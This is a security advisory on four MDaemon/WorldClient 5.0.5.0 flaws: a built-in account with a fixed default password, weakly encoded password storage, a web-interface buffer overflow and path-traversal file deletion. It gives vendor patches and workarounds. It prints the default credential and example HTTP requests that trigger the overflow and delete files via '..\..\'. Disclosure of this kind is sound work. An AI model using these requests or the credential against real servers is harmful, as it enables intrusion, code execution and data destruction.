COMMAND

	MDaemon + WorldClient multiple vulnerabilities

SYSTEMS AFFECTED

	MDaemon/WorldClient 5.0.5.0 - and probably earlier versions

PROBLEM

	In Obscure^ of Eye on Security  [http://www.eyeonsecurity.net]  advisory
	:
	

	

	 1. Default Username with default password.

	 ==

	

	MDaemon has  a  default  user  called  MDaemon  which  is  used  by  the
	application itself. When trying to change any setting of this user,  and
	error pops up :
	

	\"The MDaemon account is built in system mail account. It is

	critical for system purposes and should not be edited needlessly.

	Attempting to use the MDaemon system account as if it were a

	regular mail account can cause unpredictable results.\"

	

	By decoding the password (as described in problem 2),  it  was  easy  to
	discover that the password for this account is always MServer.
	

	This account may then be used to further exploit  other  vulnerabilities
	in this software - or simply as a free anonymous account  by  attackers,
	spammers etc. Use your imagination :-)
	

	

	 2. Weak encryption for Password files.

	 ==

	

	The password is by default stored in a file called userlist.dat  in  the
	MDaemon/App directory. The location of this file is usually
	

	C:\\MDaemon\\App\\userlist.dat.

	

	The password is encrypted using a weak encryption making  it  very  easy
	to decode. Each character is changed by a static offset  and  the  final
	result is base64 encoded.
	

	

	 3. Buffer Overflow in WorldClient

	 == 

	

	There is a BufferOverflow in  WorldClient.  When  an  attacker  executes
	arbitrary code using  this  vulnerability,  such  code  is  executed  as
	SYSTEM on a Windows 2000 machine.
	

	The overflow occurs when trying to create a folder with a long  name  by
	using  the  Web  interface  (worldclient).  In  my  tests,  the  EIP  is
	overwritten at  0x0123FFA8.  The  folder  name  has  to  be  about  1000
	characters long to cause the overflow. It is important to note that  the
	client exploiting this issue has to be authenticated  when  sending  the
	exploit string. In my tests I made use of the  MDaemon  default  account
	and was able to execute arbitrary code on the target machine.
	

	 Example

	 =======

	

	POST /WorldClient.cgi?Session=xxxx&View=Options-Folders&Reload=Yes HTTP/1.1

	Accept: */*

	Content-Type: application/x-www-form-urlencoded

	User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461)

	Host: victim:3000

	Content-Length: 1636

	Connection: Keep-Alive

	Cookie: User=MDaemon; Lang=en; Theme=Standard; Session=xxxxx

	

	OldFolderParent=&OldFolder=&FolderParent=&Folder=&NewFolder=AAAAAAAAAAAA

	AAA[BUFFER_HERE_1000+chars]&NewFolderParent=&Create=Create&Folder%3AInbo

	x=Inbox&Folder%3ADrafts=Drafts&Folder%3ASent=Sent&Folder%3ATrash=Trash&F

	older%3As=s

	

	

	 4. Deletion of any file on the same drive as WorldClient.

	 ==

	

	When creating  a  new  e-mail  messege,  users  can  attach  files.  The
	attached files are stored  in  the  user\'s  folder.  While  WorldClient
	checks for filenames which contain possibly  dangerous  characters  such
	as \"../\" when creating a new file, it does not  put  this  check  when
	deleting attached files. This means that any file on the same  drive  as
	MDaemon can be deleted, possibly leading to a Denial of Service.
	

	 Example

	 =======

	 

	POST /WorldClient.cgi?Session=xxxx&View=Compose-Attach HTTP/1.1

	Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*

	Referer:

	http://victom.com:3001/WorldClient.cgi?Session=xxxx&View=Options-Folders

	Content-Type: multipart/form-data;

	boundary=---------------------------7d2851b9074c

	Accept-Encoding: gzip, deflate

	User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461)

	Host: victim:3001

	Content-Length: 407

	Connection: Keep-Alive

	Cache-Control: no-cache

	Cookie: User=MDaemon; Lang=en; Theme=Standard; Session=xxxx

	

	-----------------------------7d2851b9074c

	Content-Disposition: form-data; name=\"Attachment\"; filename=\"\"

	Content-Type: application/octet-stream

	

	-----------------------------7d2851b9074c

	Content-Disposition: form-data; name=\"Attachments\"

	

	..\\..\\test.txt

	-----------------------------7d2851b9074c

	Content-Disposition: form-data; name=\"Remove\"

	

	Remove

	-----------------------------7d2851b9074c--

	

SOLUTION

	 Patch :

	 =======

	

	ftp://ftp.altn.com/MDaemon/Release/md506_en.exe - English

	ftp://ftp.altn.com/MDaemon/Release/md506_ge.exe - German

	

	This fixes issues #1,#3 and #4.
	

	To prevent users from decoding the userlist.dat file (issue #2)  it  was
	recommended by the vendor that  the  correct  NTFS  permissions  are  in
	place.
	

	 Workarounds :

	 =============

	

	Terry Lavoie comments : for anyone  who  can\'t  access  the  patch  (IE
	anyone using older versions), the  first  step  to  be  somewhat  secure
	would be to add the following line to your webacces.dat file:
	

	[MDaemon@yourcompany.com]

	Access=NNNNNNNNNNNNNNNNN

	

	This will at least deny login to the mdaemon account via WorldClient.
	

	Also, it is good to have their passwords checked via an  NT  Domain,  in
	which case the password stored  in  the  weekly  encrypted  userlist.dat
	will only hold the domain of the NT account which it verifies against.